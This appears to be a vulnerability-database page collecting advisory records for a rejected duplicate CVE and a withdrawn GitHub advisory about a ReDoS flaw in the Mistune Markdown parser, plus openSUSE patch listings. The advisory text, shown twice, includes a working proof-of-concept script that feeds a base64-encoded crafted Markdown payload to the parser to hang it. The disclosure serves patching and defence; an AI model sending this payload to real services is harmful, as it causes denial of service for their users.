CVE-2026-33441 (GCVE-0-2026-33441)
Vulnerability from cvelistv5 – Published: – Updated: 2026-05-06 19:28
VLAI?
This CVE is a duplicate of another CVE: CVE-2026-33079.
Replaced by CVE-2026-33079
Show details on NVD website{
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"cveId": "CVE-2026-33441",
"dateRejected": "2026-05-06T19:28:19.227Z",
"dateReserved": "2026-03-19T18:45:22.438Z",
"dateUpdated": "2026-05-06T19:28:19.227Z",
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GHSA-95RC-Q2RV-9F92
Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-06 21:31
VLAI?
Details
Rejected reason: This CVE is a duplicate of another CVE: CVE-2026-33079.
{
"affected": [],
"aliases": [
"CVE-2026-33441"
],
"database_specific": {
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"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-06T20:16:31Z",
"severity": null
},
"details": "Rejected reason: This CVE is a duplicate of another CVE: CVE-2026-33079.",
"id": "GHSA-95rc-q2rv-9f92",
"modified": "2026-05-06T21:31:42Z",
"published": "2026-05-06T21:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33441"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HJPH-F4MC-WX4C
Vulnerability from github – Published: 2026-05-06 16:56 – Updated: 2026-05-06 19:41
VLAI?
Summary
Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input
Details
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references.
Original Description
Summary
Denial-of-Service (DoS) vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.
Function affected: parse_link_title() in helpers.py Issue: Malformed reference links cause excessive backtracking and parsing loops. Impact: Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.
Details
Name: mistune
Version: 3.2.0
Python version: Python 3.13.9
PIP version: pip 25.2
OS: Kali-linux-VERSION="2025.4"
PoC
import mistune
import base64
print("Exploit started....!")
data = base64.b64decode(
"WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg=="
)
mistune.html(data.decode("utf-8", errors="ignore"))
Reproduce steps:
Simply execute above python script it will hang & increase cpu utilization to 100%
Fuzzer Output (libFuzzer):
ERROR: libFuzzer: timeout after 3 seconds
SUMMARY: libFuzzer: timeout
Stack Trace (Excerpt):
mistune/helpers.py:170 in parse_link_title
mistune/block_parser.py:259 in parse_ref_link
mistune/core.py:216 in parse_method
mistune/block_parser.py:458 in parse
mistune/markdown.py:93 in parse
mistune/markdown.py:120 in __call__
IMAGE POC:
Impact:
Denial-of-Service (DoS) High CPU usage and application hang Potential for service unavailability in web apps or APIs processing untrusted Markdown
Suggested Mitigations:
Implement parsing depth and iteration limits. Limit reference-link title length. Detects excessive escape character sequences. Add defensive checks in parse_link_title. Add fuzz regression tests using the provided PoC.
This vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.
Severity ?
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},
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"ecosystem": "PyPI",
"name": "mistune"
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{
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"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references.\n\n### Original Description\n\n### Summary\n**Denial-of-Service (DoS)** vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.\n\n**Function affected:** parse_link_title() in helpers.py\n**Issue:** Malformed reference links cause excessive backtracking and parsing loops.\n**Impact:** Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.\n\n### Details\n```\nName: mistune\nVersion: 3.2.0\nPython version: Python 3.13.9\nPIP version: pip 25.2\nOS: Kali-linux-VERSION=\"2025.4\"\n```\n\n### PoC\n```\nimport mistune\nimport base64\n\nprint(\"Exploit started....!\")\ndata = base64.b64decode(\n \"WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg==\"\n)\nmistune.html(data.decode(\"utf-8\", errors=\"ignore\"))\n```\n\n### Reproduce steps:\nSimply execute above python script it will hang \u0026 increase cpu utilization to 100%\n\n**Fuzzer Output (libFuzzer):**\n```\nERROR: libFuzzer: timeout after 3 seconds\nSUMMARY: libFuzzer: timeout\n```\n\n**Stack Trace (Excerpt):**\n```\nmistune/helpers.py:170 in parse_link_title\nmistune/block_parser.py:259 in parse_ref_link\nmistune/core.py:216 in parse_method\nmistune/block_parser.py:458 in parse\nmistune/markdown.py:93 in parse\nmistune/markdown.py:120 in __call__\n```\n### IMAGE POC:\n\u003cimg width=\"1194\" height=\"728\" alt=\"POC\" src=\"https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077\" /\u003e\n\n\n### Impact:\nDenial-of-Service (DoS)\nHigh CPU usage and application hang\nPotential for service unavailability in web apps or APIs processing untrusted Markdown\n\n### Suggested Mitigations:\nImplement parsing depth and iteration limits.\nLimit reference-link title length.\nDetects excessive escape character sequences.\nAdd defensive checks in parse_link_title.\nAdd fuzz regression tests using the provided PoC.\n\nThis vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.",
"id": "GHSA-hjph-f4mc-wx4c",
"modified": "2026-05-06T19:41:14Z",
"published": "2026-05-06T16:56:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input",
"withdrawn": "2026-05-06T19:41:14Z"
}
OPENSUSE-SU-2026:10761-1
Vulnerability from csaf_opensuse - Published: 2026-05-12 00:00 - Updated: 2026-05-12 00:00Summary
python311-mistune-3.2.1-1.1 on GA media
Severity
Moderate
Notes
Title of the patch: python311-mistune-3.2.1-1.1 on GA media
Description of the patch: These are all security issues fixed in the python311-mistune-3.2.1-1.1 package on the GA media of openSUSE Tumbleweed.
Patchnames: openSUSE-Tumbleweed-2026-10761
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
7.5 (High)
Affected products
Recommended
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.5 (High)
Affected products
Recommended
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
6.1 (Medium)
Affected products
Recommended
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
References
11 references
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FKIE_CVE-2026-33441
Vulnerability from fkie_nvd - Published: 2026-05-06 20:16 - Updated: 2026-05-06 20:16
Severity ?
Summary
Rejected reason: This CVE is a duplicate of another CVE: CVE-2026-33079.
References
| URL | Tags |
|---|
Impacted products
| Vendor | Product | Version |
|---|
{
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"value": "Rejected reason: This CVE is a duplicate of another CVE: CVE-2026-33079."
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"id": "CVE-2026-33441",
"lastModified": "2026-05-06T20:16:31.473",
"metrics": {},
"published": "2026-05-06T20:16:31.473",
"references": [],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Rejected"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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